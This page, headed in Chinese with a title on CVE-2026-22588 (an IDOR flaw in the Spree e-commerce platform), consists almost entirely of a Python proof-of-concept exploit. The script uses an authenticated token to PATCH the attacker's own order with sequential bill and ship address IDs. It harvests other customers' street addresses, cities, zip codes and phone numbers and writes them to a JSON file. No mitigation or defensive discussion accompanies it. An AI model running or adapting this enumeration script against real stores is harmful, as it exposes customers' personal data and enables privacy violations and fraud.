CVE-2026-22588 Spree电商平台IDOR漏洞可越权访问其他用户地址

# CVE-2026-22588 IDOR PoC - Spree Address Enumeration # This PoC demonstrates how an authenticated user can access other users' addresses import requests import json TARGET_URL = "https://vulnerable-spree-site.com" ATTACKER_TOKEN = "attacker_auth_token_here" def get_order_id(session): """Get the attacker's first order ID""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json"} response = session.get(f"{TARGET_URL}/api/v2/storefront/orders", headers=headers) orders = response.json().get('data', []) if orders: return orders[0]['id'] return None def enumerate_addresses(session, order_id, start_id=1, end_id=1000): """Enumerate other users' addresses by manipulating address_id parameter""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json"} exposed_addresses = [] for addr_id in range(start_id, end_id + 1): # Attempt to associate other user's address with attacker's order payload = { "order": { "bill_address_id": addr_id, "ship_address_id": addr_id } } response = session.patch( f"{TARGET_URL}/api/v2/storefront/orders/{order_id}", headers=headers, json=payload ) if response.status_code == 200: order_data = response.json() # Check if address was successfully associated (IDOR successful) if 'included' in order_data and order_data['included']: addr_data = order_data['included'][0] if 'attributes' in addr_data: attrs = addr_data['attributes'] exposed_addresses.append({ "address_id": addr_id, "address1": attrs.get('address1'), "city": attrs.get('city'), "zipcode": attrs.get('zipcode'), "phone": attrs.get('phone') }) print(f"[+] Exposed Address ID {addr_id}: {attrs}") return exposed_addresses def main(): session = requests.Session() # Step 1: Get attacker's order ID order_id = get_order_id(session) if not order_id: print("[-] Failed to obtain order ID") return print(f"[+] Obtained Order ID: {order_id}") # Step 2: Enumerate addresses (adjust range as needed) print("[*] Starting address enumeration...") addresses = enumerate_addresses(session, order_id, 1, 100) print(f"\n[+] Total exposed addresses: {len(addresses)}") # Step 3: Save results with open('exposed_addresses.json', 'w') as f: json.dump(addresses, f, indent=2) if __name__ == "__main__": main()